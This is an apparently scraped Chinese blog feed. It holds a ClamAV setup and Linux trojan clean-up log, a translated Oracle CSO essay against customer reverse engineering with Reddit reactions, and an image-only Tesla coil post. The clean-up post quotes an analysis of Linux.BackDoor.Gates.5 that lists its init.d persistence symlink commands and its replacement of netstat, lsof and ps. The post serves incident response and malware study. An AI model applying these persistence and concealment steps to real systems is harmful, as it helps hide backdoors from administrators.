**配置Clamav** **1:创建目录** [root@LNX17 clamav-0.97.6]# mkdir /opt/clamav/logs [root@LNX17 clamav-0.97.6]# mkdir /opt/clamav/updata **2:创建文件** [root@LNX17 clamav-0.97.6]# touch /opt/clamav/logs/freshclam.log [root@LNX17 clamav-0.97.6]# touch /opt/clamav/logs/clamd.log [root@LNX17 clamav-0.97.6]# [root@LNX17 clamav-0.97.6]# cd /opt/clamav/logs [root@LNX17 clamav]# cd logs [root@LNX17 logs]# ls clamd.log freshclam.log [root@LNX17 logs]# ls -lrt total 0 -rw-r--r--. 1 root root 0 Aug 21 22:10 freshclam.log -rw-r--r--. 1 root root 0 Aug 21 22:10 clamd.log **3:修改属主** [root@LNX17 logs]# chown clamav:clamav clamd.log [root@LNX17 logs]# chown clamav:clamav freshclam.log [root@LNX17 logs]# ls -lrt total 0 -rw-r--r--. 1 clamav clamav 0 Aug 21 22:10 freshclam.log -rw-r--r--. 1 clamav clamav 0 Aug 21 22:10 clamd.log [root@LNX17 logs]# **4:修改配置文件** #vi /opt/clamav /etc/clam.conf # Example 注释掉这一行. 第8 行 LogFile /opt/clamav/logs/clamd.log 删掉前面的注释目录改为/opt/clamav/logs/clamd.log PidFile /opt/clamav/updata/clamd.pid 删掉前面的注释路径改为/opt/clamav/updata/clamd.pid DatabaseDirectory /opt/clamav/updata 同上 #vi /opt/clamav /etc/clamfreshclam.conf , 将Example 这一行注释掉。否则在更新反病毒数据库是就有可能出现下面错误 [root@LNX17 clamav]# /opt/clamav/bin/freshclam ERROR: Please edit the example config file /opt/clamav/etc/freshclam.conf ERROR: Can’t open/parse the config file /opt/clamav/etc/freshclam.conf ![clip_image005](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1a81cfd265_241509015302353.png) **5:升级病毒库** [root@LNX17 etc]# /opt/clamav/bin/freshclam ERROR: Can’t change dir to /opt/clamav/share/clamav 出现上面错误,直接创建一个文件夹并授权给clamav用户即可。 [root@LNX17 etc]# mkdir -p /opt/clamav/share/clamav [root@LNX17 etc]# chown clamav:clamav /opt/clamav/share/clamav [root@LNX17 etc]# [root@LNX17 etc]# /opt/clamav/bin/freshclam ClamAV update process started at Fri Aug 21 22:42:18 2015 WARNING: Your ClamAV installation is OUTDATED! WARNING: Local version: 0.97.6 Recommended version: 0.98.7 DON'T PANIC! Read http://www.clamav.net/support/faq nonblock_connect: connect timing out (30 secs) Can't connect to port 80 of host database.clamav.net (IP: 211.239.150.206) Trying host database.clamav.net (120.29.176.126)... nonblock_recv: recv timing out (30 secs) WARNING: getfile: Download interrupted: Operation now in progress (IP: 120.29.176.126) WARNING: Can't download main.cvd from database.clamav.net Trying again in 5 secs... ClamAV update process started at Fri Aug 21 23:03:32 2015 WARNING: Your ClamAV installation is OUTDATED! WARNING: Local version: 0.97.6 Recommended version: 0.98.7 DON'T PANIC! Read http://www.clamav.net/support/faq Downloading main.cvd [100%] main.cvd updated (version: 55, sigs: 2424225, f-level: 60, builder: neo) Downloading daily.cvd [100%] daily.cvd updated (version: 20817, sigs: 1537382, f-level: 63, builder: neo) Downloading bytecode.cvd [100%] bytecode.cvd updated (version: 268, sigs: 47, f-level: 63, builder: anvilleg) Database updated (3961654 signatures) from database.clamav.net (IP: 219.94.128.99) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ccef44aa24_aa213e02gw1evhfh8uwpgj20i309vwev.jpg) 由于ClamAV不是最新版本,所以有告警信息。可以忽略或升级最新版本。病毒库需要定期升级,例如我第二天升级病毒库 [root@LNX17 ~]# /opt/clamav/bin/freshclam ClamAV update process started at Mon Aug 24 10:10:25 2015 WARNING: Your ClamAV installation is OUTDATED! WARNING: Local version: 0.97.6 Recommended version: 0.98.7 DON'T PANIC! Read http://www.clamav.net/support/faq main.cvd is up to date (version: 55, sigs: 2424225, f-level: 60, builder: neo) Downloading daily-20818.cdiff [100%] Downloading daily-20819.cdiff [100%] Downloading daily-20820.cdiff [100%] Downloading daily-20821.cdiff [100%] Downloading daily-20822.cdiff [100%] Downloading daily-20823.cdiff [100%] Downloading daily-20824.cdiff [100%] Downloading daily-20825.cdiff [100%] Downloading daily-20826.cdiff [100%] Downloading daily-20827.cdiff [100%] Downloading daily-20828.cdiff [100%] Downloading daily-20829.cdiff [100%] daily.cld updated (version: 20829, sigs: 1541624, f-level: 63, builder: neo) bytecode.cvd is up to date (version: 268, sigs: 47, f-level: 63, builder: anvilleg) Database updated (3965896 signatures) from database.clamav.net (IP: 203.178.137.175) **6:ClamAV 使用** 可以使用/opt/clamav/bin/clamscan -h查看相应的帮助信息 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9717059eb3_aa213e02gw1evhfh7zpt6j20i20jcdgm.jpg) · 扫描所有用户的主目录就使用 clamscan -r /home · 扫描您计算机上的所有文件并且显示所有的文件的扫描结果,就使用 clamscan -r / · 扫描您计算机上的所有文件并且显示有问题的文件的扫描结果,就使用 clamscan -r –bell -i / 执行下面命令扫描根目录下面的所有文件。如下所示:56个文件被感染了。基本上都是Linux.Trojan.Agent和Linux.Backdoor.Gates等。 /opt/clamav/bin/clamscan -r –bell -i ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9717059eb3_aa213e02gw1evhfh6zk03j20i608eq33.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8a93349e71_aa213e02gw1evhfh50d4tj20i605274f.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8a93349e71_aa213e02gw1evhfh31m4fj20i606et90.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/bc6065aaf6_aa213e02gw1evhfh2pef6j20i608xq3a.jpg) 手工删除这些文件。然后重新扫描一下,发现木马已经被清理完成。但是按照网上资料进一步查找发现木马启动程序 [root@LNX17 ~]# cd /etc/init.d/ [root@LNX17 init.d]# ls Db* DbSecurityMdt DbSecuritySpt [root@LNX17 init.d]# ls sel* selinux [root@LNX17 init.d]# more selinux #!/bin/bash /usr/bin/bsd-port/getty [root@LNX17 init.d]# more DbSecuritySpt #!/bin/bash /home/WDPM/Development/WebServer/apache-tomcat-7.0.61/cmys [root@LNX17 init.d]# more DbSecurityMdt #!/bin/bash /root/cmy6 [root@LNX17 init.d]# more DbSecurityMdt #!/bin/bash /root/cmy6 [root@LNX17 bin]# ls bsd* agent.conf cmd.n conf.n getty.lock [root@LNX17 bin]# cd bsd-port/ [root@GETLNX17 bsd-port]# ls agent.conf cmd.n conf.n getty.lock [root@LNX17 bsd-port]# more agent.conf 3341 [root@LNX17 bsd-port]# more getty.lock 1013 [root@LNX17 bsd-port]# cd .. [root@LNX17 bin]# rm -rf bsd-port 此时在用nethogs监控进程的网络流量,发现已经没有异常进程了,应该算是彻底清除了。 关于Linux.Backdoor.Gates,看到一篇介绍资料了相关内容:Linux.BackDoor.Gates.5——又一针对Linux的木马, 具体内容如下所示: —————————————————————————————————————————— 某些用户有一种根深蒂固的观念,就是目前没有能够真正威胁Linux内核操作系统的恶意软件,然而这种观念正在面临越来越多的挑战。与4月相比,2014年5月Doctor Web公司的技术人员侦测到的Linux恶意软件数量创下了新纪录,六月份这些恶意软件名单中又增加了一系列新的Linux木马,这一新木马家族被命名为Linux.BackDoor.Gates。 在这里描述的是恶意软件家族Linux.BackDoor.Gates中的一个木马:Linux.BackDoor.Gates.5,此恶意软件结合了传统后门程序和DDoS攻击木马的功能,用于感染32位Linux版本,根据其特征可以断定,是与Linux.DnsAmp和Linux.DDoS家族木马同出于一个病毒编写者之手。新木马由两个功能模块构成:基本模块是能够执行不法分子所发指令的后门程序,第二个模块在安装过程中保存到硬盘,用于进行DDoS攻击。Linux.BackDoor.Gates.5在运行过程中收集并向不法分子转发受感染电脑的以下信息: CPU核数(从/proc/cpuinfo读取)。 CPU速度(从/proc/cpuinfo读取)。 CPU使用(从/proc/stat读取)。 Gate’a的 IP(从/proc/net/route读取)。 Gate’a的MAC地址(从/proc/net/arp读取)。 网络接口信息(从/proc/net/dev读取)。 网络设备的MAC地址。 内存(使用/proc/meminfo中的MemTotal参数)。 发送和接收的数据量(从/proc/net/dev读取)。 操作系统名称和版本(通过调用uname命令)。 启动后,Linux.BackDoor.Gates.5会检查其启动文件夹的路径,根据检查得到的结果实现四种行为模式。 如果后门程序的可执行文件的路径与netstat、lsof、ps工具的路径不一致,木马会伪装成守护程序在系统中启动,然后进行初始化,在初始化过程中解压配置文件。配置文件包含木马运行所必须的各种数据,如管理服务器IP地址和端口、后门程序安装参数等。 根据配置文件中的g_iGatsIsFx参数值,木马或主动连接管理服务器,或等待连接:成功安装后,后门程序会检测与其连接的站点的IP地址,之后将站点作为命令服务器。 木马在安装过程中检查文件/tmp/moni.lock,如果该文件不为空,则读取其中的数据(PID进程)并“干掉”该ID进程。然后Linux.BackDoor.Gates.5会检查系统中是否启动了DDoS模块和后门程序自有进程(如果已启动,这些进程同样会被“干掉”)。如果配置文件中设置有专门的标志g_iIsService,木马通过在文件/etc/init.d/中写入命令行#!/bin/bash\n将自己设为自启动,然后Linux.BackDoor.Gates.5创建下列符号链接: ln -s /etc/init.d/DbSecuritySpt /etc/rc1.d/S97DbSecuritySpt ln -s /etc/init.d/DbSecuritySpt /etc/rc2.d/S97DbSecuritySpt ln -s /etc/init.d/DbSecuritySpt /etc/rc3.d/S97DbSecuritySpt ln -s /etc/init.d/DbSecuritySpt /etc/rc4.d/S97DbSecuritySpt 如果在配置文件中设置有标志g_bDoBackdoor,木马同样会试图打开/root/.profile文件,检查其进程是否有root权限。然后后门程序将自己复制到/usr/bin/bsd-port/getty中并启动。在安装的最后阶段,Linux.BackDoor.Gates.5在文件夹/usr/bin/再次创建一个副本,命名为配置文件中设置的相应名称,并取代下列工具: /bin/netstat /bin/lsof /bin/ps /usr/bin/netstat /usr/bin/lsof /usr/bin/ps /usr/sbin/netstat /usr/sbin/lsof /usr/sbin/ps 木马以此完成安装,并开始调用基本功能。 执行另外两种算法时木马同样会伪装成守护进程在被感染电脑启动,检查其组件是否通过读取相应的.lock文件启动(如果未启动,则启动组件),但在保存文件和注册自启动时使用不同的名称。 与命令服务器设置连接后,Linux.BackDoor.Gates.5接收来自服务器的配置数据和僵尸电脑需完成的命令。按照不法分子的指令,木马能够实现自动更新,对指定IP地址和端口的远程站点发起或停止DDoS攻击,执行配置数据所包含的命令或通过与指定IP地址的远程站点建立连接来执行其他命令。 此后门程序的主要DDoS攻击目标是中国的服务器,然而不法分子攻击对象也包括其他国家。下图为利用此木马进行的DDoS攻击的地理分布: **参考资料:** http://yangrong083.blog.163.com/blog/static/113406097201371235159424/ [记一次Linux服务器上查杀木马经历](http://blog.jobbole.com/90098/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 甲骨文:不行,你不能看我们的源代码! Date: 2015-08-15 URL: https://blog.wo.ai/archives/1031 Categories: Uncategorized 【伯乐在线导读】:是人写的软件,都不可避免有漏洞。而发现漏洞的,并不只是软件开发商,也有独立第三方机构或个人。所以,业界不少知名公司有对外的漏洞悬赏计划,比如:[Facebook](http://weibo.com/2093492691/xh9DJrv0w) 、[谷歌](http://blog.jobbole.com/29366/)、[Twitter](http://top.jobbole.com/11498/)、微软、Paypal。 咦,为啥小编没听过甲骨文的漏洞悬赏计划呢?各位接着往下看。 8月10日,甲骨文 CSO(首席安全官)Mary Ann Davidson 在企业博客上发布一篇文章,怒斥客户通过逆向工程看源码找漏洞的行为。这篇文章在 Reddit 引发大量[讨(tu)论(cao)](https://www.reddit.com/r/programming/comments/3gks5d/oracle_blogger_no_you_cant_look_at_our_code/),本文末尾摘录的 3 条。该文因争议太大,后来被删,不过有 [谷歌快照](http://webcache.googleusercontent.com/search?q=cache:ntXM0RlghUUJ:https://blogs.oracle.com/maryanndavidson/entry/no_you_really_can_t+&cd=1&hl=lt&ct=clnk) & [时光机](https://blogs.oracle.com/maryanndavidson/entry/no_you_really_can_t)存档了。 下面是伯乐在线翻译组黄小非的全文翻译。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6de5d3fee9_7cc829d3gw1ev2gcoewphj20qe0hi0tt.jpg) _Mary Ann Davidson_ ## No, You Really Can’t | 不行,就是不让你看 我最近已经写了很多东西了。其中一些是和我姐姐一起,使用笔名Maddi Davidson写的凶案悬疑小说。最近,我们一直在写一些较短的凶杀故事,尝试用一些新主意来“杀死”故事中的被害者(诚实地说,在现实中我真会去想怎么把这些凶杀情节实践到那些连车距都保持不好的白痴司机身上)。 对于我来说,写悬疑小说真的比我写其他类型的东西要有趣得多。最近我发现,企图通过逆向工程来挑我们毛病的客户人数显著地增加了(诶,大大叹口气吧)。所以你也就不难理解为什么我近来大量给客户写信,都是以这样的内容来开头:“Hi~, Howizt,你好” _(译注:看似很友好客套)_ ,可是结尾却变成了:“请您遵循许可证协议,不要再对我们进行逆向工程看源码了。” 我能理解,在我们生活的世界上,几乎每天都有人在说数据出了问题,然后还会有超级无敌多的匿名入侵记录,这一定是敌对分子搞破坏造成的。所以,在系统安全技术方面人们总是想再往前多走一步。不过,在你整装待发准备多走这一步之前,你要知道,其实客户已经标定了关键系统,对敏感数据进行了加密,该打的补丁都打上了,而且也配备了各种配套产品,并且还用了工具来锁定配置确保其不会被篡改——总而言之,在你尝试挖掘 0-day 大漏洞之前,系统在常规情况下已经非常安全了。事实上,如果该做的常规措施都做到了,大部分的数据隐患都可以被消除,这个事实听上去一点儿也不性感吧,但事实就是这样,通常情况下那些用 0-day 级别漏洞来产生的“无敌高级持续性系统威胁“的案例并非真的存在!所以无论是你自己去打理服务器,还是说你的云服务供应商帮你去鼓捣,把基本的安全实践工作做好非常必要 _(,其余的事情你就不用去考虑了)_ 。 纵使认为供应商都应该是业界良心(会对他们的开发软件产品的方式负责),你还是有很多东西需要确认,而不能只用漏洞扫描工具一扫了之。客户能做的事情可多着呢,额滴神啊(千万别说你不知道该做什么),客户可以询问供应商,问问他们采用了哪些安全认证规程,或者查查看他们的产品有没有行业认证(例如像 Good Housekeeping 质量担保图印,或者 FIPS-140 认证这样的计算机信息安全通用标准认证)。大多数供应商,至少是我知道的最大的那几个供应商,目前会采用相当完备的安全规程(我之所以知道这些信息,是因为我们在技术大会上会相互交换技术资料并作比较)。作为客户,在安全方面孜孜不倦当然是好事,不过如果客户总是想着:“嘿,我认为我应该帮供应商做点儿什么,所以让我来看看他们的源代码有什么漏洞没有”,这样就不是什么好事了。即使是面对如下的情况,这也不是什么好事: * 漏洞扫描工具报警:客户其实没有能力去分析被报警的部分是否是在安全控制范围之内的,更何况这种报警往往还都是“虚假警报“(false positive) * 即使发现问题,客户也没有能力去自己给问题开发补丁程序——因为只有供应商才有能力开发补丁程序 * 客户在使用静态工具分析源代码时,实际上很可能已经触犯了许可证协议条例(条例规定不能对源代码进行任何操作) 我来开门见山地说吧:我认为很多时候说”客户使用逆向工程技术”这句话其实并不准确,因为真正的逆向工程操作是由客户聘用的顾问来做的,这些顾问运行一下逆向工具,逆向出一堆代码,用打印机打印出一大坨,往客户面前一撂,接下来客户就会把这一大坨送给我们。我现在已经注意到,给我们送来的所谓漏洞扫描报告根本就不是“证明这里或者那里有问题”的清晰报告,不管是采用动态分析还是静态分析,漏洞扫描报告完全不体现漏洞存在的真正证据。通常情况下,这些报告就跟一缕蒸汽一样(扑朔迷离又没有价值)。 没事儿找事。(是的,我打算一直这么说:没事找事。) 这就是为什么我们要求客户举报每一个所谓”问题“时,都必须填写服务申请(而不是仅仅把漏洞报告扔给我们就完事儿了),同时还要提供概念性的证据(确实有一些工具能做到这一点)。 通过我们自己的分析,如果我们真的认定扫描报告的结果**只可能** 来自于逆向工程(我们至少遇到过一次以上这种案例,因为报告上“很聪明地”写了:“通过对Oracle XXXXXX 软件的静态分析……”),那么我们就会立刻给“有罪”的客户写信,并同时给为“有罪客户”提供咨询的“有罪顾问”另去一封信件,提醒他们已经触犯了Oracle许可证协议中禁止使用逆向工程的条款,所以不要再这么做了。(用正规的法律语言来说,Oracle许可证协议上的条款是这么写的:“用户不得进行逆向工程,反汇编,反编译,以及任何从程序中获得源代码的尝试”,我们在给客户的警告信中就会引用这个条款)。哦,我们还会要求客户/顾问销毁从逆向工程得来的结果,并要求他们确认他们执行了销毁。 为什么我要强调确认销毁呢?最主要的原因是,我要把这个事情做得板上钉钉。我可不想为了“你们触犯了许可协议”,“不我没有”,“有的,就就是有”,“不,我们没有”这种来回扯皮的话浪费时间。我宁愿花更多我自己的时间,以及团队的时间,去帮助提升开发代码的质量,而不是和人们去讨论用户许可证协议细节问题 现在我需要重申一下,我在这里并不是要用许可证协议来打压用户。我其实更想说的是,“我不让你去分析代码,是因为我自己会去分析。分析代码是我的工作,我们很擅长我们的工作。我们能切实对代码进行分析,并弄清楚真正的情况是什么,而第三方咨询机构或者其他工具软件则做不到。无论在何种级别上,这些工具软件找出来的所谓‘漏洞’几乎 100% 都是‘误报’。所以不要再浪费你的时间了,那些工具里面的小绿人报警帮不了你任何忙。” 我不是要逃避我对客户应尽的运维责任,我仅仅是想避免那些痛苦、烦躁又让双方都非常不爽的过程。 基于上述原因,我想解释一下 Oracle 实施用户许可证条款(尤其是关于逆向工程的条款)的目的,其实这个目的非常符合逻辑也非常符合直觉,那就是:“我们告诉你我们的底线在哪儿,一旦你越过了,我们就对你不客气。” 附注:我在日常与人交谈时偶尔会用到 _stare decisis_ _(译注:拉丁文,意思是“照章办事”)_ 这种法律专业词汇(不过我的狗完全不懂拉丁语,它只明白夏威夷语),不过我毕竟不是律师 _(译注:作者的意思是,他的观点并不能代表Oracle对这些问题的官方司法解释)_ 。所以,当你有什么疑问的时候,参照 Oracle 许可证条款原文就好了,原文比我在这篇文章里写的要准确严格得多。 依照上面说的那些原则,我列出一些 FAQ 问答形式的文字,用来做为解释: **问:什么是逆向工程?** 答:总的来说,我们(Oracle)的代码都是编译(是的,我知道有些代码是解释型的)以后(以可执行的方式)交付使用的。客户拿到的是可运行的代码,而不是代码在“被开发”时的形式。用户绝大多数时候只需要运行代码,而不需要了解代码是怎么拼凑在一起工作的。这样做的理由很多,例如事实上,我们的源代码是非常宝贵的知识财富,受知识产权法保护(所以我们会对能够接触到源代码的人群设置重重限制,就是为了保护源码的知识产权)。Oracle许可证协议限制了你只能使用交付形式的代码,这一限制隐含着一个事实概念,那就是你不能够反编译,反汇编,不允许把故意做扰乱处理的代码复原,不允许用任何其他形式的将代码从可执行形式转变会原始形式。尽管对于这些限制会有一些特别注释,但是也绝对不会出现“只要你是在寻找代码漏洞就万事大吉”这种例外情况。 所以说,如果你要尝试把我们卖给你的代码转变成与我们卖给你时不同的形式——比如,转变成在我们写这些代码,并且还没有通过对他们进行加工然后卖给你的那种形式,那么你就很可能是在逆向工程了。**不!要!这!么!做!** **问:Oracle关于提交安全漏洞的协议是怎么规定的呢(是不是允许使用工具呢?)** 答:我们需要客户针对每一个漏洞做一个上报申请,并提供测试用例,证明你所谓的安全漏洞是可被侦测到的。我们之所以采取这种策略的原因,是为了筛除大量采用安全工具软件扫描得出的不准确的漏洞信息(也就是误判的漏洞信息)。 **问:为什么你们(Oracle)要去找那些客户的顾问的麻烦呢?客户的顾问又没跟Oracle签什么许可证协议。** 答:顾客是同Oracle签订过许可证协议的,那么由顾客雇佣的顾问就因此具有了连带签订许可证协议的法律关系。要不然的话,岂不是每个受雇于客户的顾问都可以说(注意,下面是法律咒语):“甲方甲方能力差,顾问顾问最牛叉,甲方不能我偏能,我想干啥就干啥”。 **问:如果真的有用户发现了安全漏洞,Oracle会怎么处理的呢?** 答:每当被问到这个问题的时候,我的第一反应是拒绝的。因为我想再次重申,**用户不应该也不允许对我们交付的代码进行逆向工程。** 然后,如果真的有客户发现了货真价实的安全漏洞,我们就一定会去修复。我们不喜欢从用户那里发现漏洞(我知道这种说法很可能得罪人),但是如若真的发现了问题,我们也不能熟视无睹。然而,(从另一种角度看)我们去修复错误,也是在保护我们其他的客户,因为一旦我们修复了错误,其他客户的错误也同时得到了修改。不过,我们是不会给上报漏洞的客户(如果他们真的是通过逆向工程来发现漏洞的)提供专门(一次性)补丁的。在发布的公告中,我们也不会(给违规上报者)提供任何赞誉。所以你就不要指望我们会对你说:“感谢你破坏了我们的许可证协议“了。 问:现在的反编译产品越做越好,上手也越来越容易,所以说是不是以后的某一天逆向工程就变得OK了? 答:啊,不会的。我们对于逆向工程的反对是基于保护知识产权的立场的, 我们并不是要证明“我们把聪明才智都发挥在阻止我们的客户发现我们安全漏洞上,即使发现了漏洞我们也不修复”。我们鼓励客户在可执行代码上使用工具进行评估,只是说不要去逆向工程就可以了。从这一点来看,用户通过使用第三方工具或者服务来发现问题也是有可能得到我们的优质服务的,只要你跟你的工具开发商或者服务供应商确认一下:a) 工具的工作原理是什么 b) 他们是否实施了逆向工程来达到目的。不管他们说得怎么天花烂坠,你只要记住,问题正确的答案就只有几种情况:“不,我们没有做”;“是的,你做了”;“没做”;“做了”。( _译注:其他的答案都是忽悠你的或者是废话)_ **问:不过我的 编码顾问/第三方漏洞扫描软件 真的很牛。你们Oracle就不能把我提交的400页的漏洞扫描报告好好分析一下吗?** 答:嘿,哥们儿。我觉得我说这件事情已经说了这么多遍,我都快成说唱歌手了:我们Oracle自己有自己的代码静态分析工具(而且是我们自己开发的),我们自己会分析!外面的那些垃圾工具真的是不准确到离谱啊!(有的时候误判率居然达到了100%,或接近100%),况且用软件工具扫描这件事情本身并不重要。重要的是你要有分析扫描结果的能力,诸如此类。如果我们花时间去判断客户或者他们的顾问的指指点点,分析那些毫无意义的东西,那完全就是一种浪费。我们应该把我们的时间花在刀刃上,也就是说,花在去找那些真正的漏洞上面去。 **问:是不是一旦有人发现了真正的漏洞存在,你们就会说他们是通过逆向工程才找到的啊?** 答:诶,我可是冒着被人骂啰嗦的风险再跟你们说一次:不,不是的。就好比如果有人家里的门或者窗户没锁,那么你直接进入就不算非法闯入。虽然我们不敢说用过市面上每一款的扫描工具。不过我们确实要求开发组(连带包括云端开发和内部开发机构)多用漏洞扫描工具,我们过去几年在工具使用方面已经取得了长足的进步(看看我们的指标数据就知道了),并且我们把跟踪工具的使用纳入到了“Oracle软件安全确认规程”当中。我们强迫——我的意思是“要求”——开发团队使用漏洞扫描工具,是因为我们非常愿意(当然我们的客户也非常愿意)尽可能早地发现并修复各种问题。 业界有云:没有一种工具是万能的。实际上几种工具加起来也达不到万能。我们做不到万能,不过这并不能说用户试图通过逆向工程来找我们的漏洞就是正确的。其实分析一个疑似的漏洞究竟是不是真正的漏洞,最关键的就是对源代码进行分析。坦率地讲,第三方软件是很难做到从源代码的角度进行分析的。随便哪个客户用逆向工程工具粗浅扫描一下,就给我们发漏洞报告,我们自然是不能接受,原因很简单,我们并不需要这样的报告。 **问:嘿,我有个主意,干嘛不搞个bug悬赏活动呢?如果第三方帮你们找到漏洞,你们给他们奖金不就可以了?** 答:诶(再次大口叹气)。Bug悬赏活动是给那些玩票儿的人准备的(玩票儿这个词儿不错吧,是不?)。好多公司把自己和安全研究员都搞得跟神经病一样,让他们来找公司产品代码中的问题,然后还坚持认为:这才是解决Bug的终极之法,就得这么干:如果你不搞Bug悬赏活动,那你就没法做到代码安全。啊,好吧,**其实我们87%的安全漏洞都是我们自己找到的,我们的安全研究员会找到约3%的漏洞,剩下的漏洞则是通过用户来发现的。** (这里跑个题:我今天发现,一个还挺有名气的安全研究员上报说,在某个特定的技术领域他发现了一堆所谓漏洞,希望我们引起注意——实际上我们早就发现了全部的漏洞,现在已经在着手修补,或者都搞定了。哈哈哈,这件事情笑得我胸围都变大了!) 我并不是要贬低Bug悬赏活动,只是这么做毫不符合经济学逻辑,我为什么要花钱去请一个只能解决我3%问题的人(并且还不能持续性解决问题,基本上就像打田鼠一样看一只打一只),我有这些钱还不如其再聘请一个全职雇员,让他去做一些合规的hacking,然后为我们开发出好用的工具,从而能够自动发现并解决某个特定类型的问题,这样才是正确的做法。其实这个问题就是一个“该信基督教还是该信天主教”的问题,我们当然会包容不同的宗教和文化,但是我们会用我们的方式来包容——其他人怎么做那不关我们的事。祝你们平安! **问:如果你不让客户去做逆向工程,万一他们生气了不买你们的东西了咋办?** 答:的确我们听到过类似的说法。不过讽刺的是,就是因为他们愿意买我们更多的产品(或者使用我们的云服务),才必须跟我们签使用许可协议啊!所以他们这么想就已经是在违背许可证协议了啊。“亲爱的,如果你不让我再次背叛你的话,那么我们的爱情就能天长地久”,“啊,额,你已经违反了婚姻誓词里面‘无论如何都会天长地久’的誓言了啊,所以我们的婚姻完了”。 同客户沟通更好的方式——通常我也会这么做——就是跟他们解释我们会对我们的产品充分负责,包括我们自己会开发漏洞扫描工具。我希望用户对我们的产品和服务有信心,而不是需要老给他们写信提出警告。 **问:好吧,你们可以说那些坏人以及竞争对手会去对Oracle的代码进行恶意逆向工程,而且也不会在乎你们的许可协议,不过还是有些客户是出于好意的吧,对于这些人你们也要限制吗?** 答:Oracle许可证是为了保护知识产权的目的而存在的。而第三方扫描我们代码的行为被称之为”好意“,我觉得这种观点需要修正,任何为侵犯许可证协议的行为找借口都是不可接受的。就像是你不能跟你的配偶说:“别人家都出轨了”,这完全不是一个正当的理由,因为结婚的时候这些约束都是定好了的。 写到这里,我觉得我可以下个定论了,或者说可以拍板了。我们要求客户不能对我们的代码进行逆向工程,从而找什么安全漏洞。我们自己有源代码,我们自己会运行扫描工具分析自己的源代码(当然我们同时也会分析可执行代码),所以分析代码这件事情真的是我们的事情。我们不需要客户,或者天知道哪儿来的一个第三方机构通过逆向工程来帮我们找漏洞。最后,但是也是最重要的,Oracle许可证协议禁止你这么做。所以你们就不要去做了就对了。 * * * * 我觉得肯定有一部分客户来回地骂我,因为这些客户已经给他们的顾问付了一大笔咨询费了。他们会觉得是因为我们(无能导致漏洞产生)让顾问们敲了他们一大笔(其实是顾问违反了许可证协议在先)。 ** 我能想到的唯一的比喻是,我的书架。有的人看了我书架上的书名,就会觉得我是一个好色之人,喜欢看色情小说。并且他们还会让我解释,为什么我要买这么一堆奇奇怪怪的书。比如这些例子(这些真的是我书架上的书的名字哦) 1\. 来自下方的雷霆一击(额滴亲娘,一定很劲爆) 2\. 裸体经济学(“裸体主义哦!”) 3\. 地狱烈火(“哇,一定更劲爆”) 4\. 黎明,我们睡去(“你一定是昨天晚上运动过度了才会熬到黎明都不睡吧”) 对于这些,我的回应是,我可没义务给你们解释我对图书的品味,我也不会去真正回应这些怀疑。(不过你们如果真的感兴趣的话,我就告诉你们吧,1. 这是一本传记书籍,书的主人公是 Eugene Fluckey 舰长,第二次世界大战美国海军潜艇舰长,国会荣誉勋章获得者。2. 这真的是一本经济学书籍。3. 这是一本介绍二战期间欧洲剧院的书籍。 4. 这是一本描述珍珠港事件的作品。 ***我怎么会讨厌凯恩斯 _(英国著名现代经济学家——译者注)_ 呢!!! 世界上现存的渡渡鸟 _(一种珍稀动物,已灭绝——译者注)_ 的数量都比凯恩斯乘数理论的支持者要多。据我所知,“渡渡鸟”和“凯恩斯乘数原理支持者”这两个词汇都能当同义词使用。 ****当然,我可能有点夸张了。但也许没有。 * * * ### 补充1:摘录 Reddit 网友的吐槽: gaggra: > 这篇博文口气真是傲慢、无礼、假仁假义,我肯定该文要被甲骨文的公关撤下了,因为这真是一篇烂稿。 joeflux: > 文章中指出,客户发现的漏洞数量(10%)是他们自己安全人员发现的 3 倍。他们是怎么响应的?给客户发威胁信。 willvarfar: > So is Oracle’s packaged-up Linux distro only “Unbreakable” in a legal sense, then? 😉 > > says 甲骨文在这篇文章说过 > > Oracle appreciates and values the members of the independent security research community who find vulnerabilities, bring them to our attention, and work with Oracle so that security fixes can be issued to all customers. 甲骨文赞赏并重视发现漏洞的独立安全研究社区…… > > So there’s some kind of disconnect going on here anyway. ### 补充2: ### [Paypal 的漏洞奖励政策有点奇葩](http://weibo.com/2093492691/zyCcLBpy0) (曾经)要求提交漏洞的人必须年满 18 岁。2013年5月,有位 17 岁的德国小伙 Robert Kugler 提交了一个 XSS 漏洞,不过因为没满 18 岁,所以…… ### 补充3: Mary Ann Davidson 这篇文章在 Reddit 引发争议后,后来 Reddit 上又火了另外一篇文章《[PostgreSQL: Please, security test our code!](https://www.reddit.com/r/programming/comments/3gpdx1/postgresql_please_security_test_our_code/)》。 ### 相关文章 * [思科:Java成91%恶意攻击的主要原因](http://blog.jobbole.com/62888/) * [OpenSSL新漏洞曝光:可用于“中间人”攻击](http://blog.jobbole.com/70385/) * [gotofail:苹果 SSL/TLS 重大安全漏洞的细节](http://blog.jobbole.com/60425/) * [趣文:程序员是诗人](http://blog.jobbole.com/38316/) * [从外行视角尝试讲解为什么这回丰田栽了](http://blog.jobbole.com/50915/) * [更新:法官裁决Java API不受版权保护](http://blog.jobbole.com/18976/) * [Java专利侵权案:甲骨文赢得对谷歌的上诉](http://blog.jobbole.com/66657/) * [Java之父逐个评价甲骨文对Sun技术的处理](http://blog.jobbole.com/56238/) * [从Oracle转到Mysql前需了解的50件事](http://blog.jobbole.com/46510/) * [甲骨文宣布 MySQL Forge 项目终止](http://blog.jobbole.com/23372/) [甲骨文:不行,你不能看我们的源代码!](http://blog.jobbole.com/89391/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 亮瞎眼的特斯拉线圈 Date: 2015-08-11 URL: https://blog.wo.ai/archives/1030 Categories: Uncategorized ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f63fd3278f_0064cTs2jw1euyu99qyt2j30go0b4mxp.jpg)![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eb8223f226_0064cTs2jw1euyu98nfyaj30go0ciq3h.jpg) ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/49d581da93_0064cTs2jw1euyu97s3l3j30go0ciq3h.jpg) 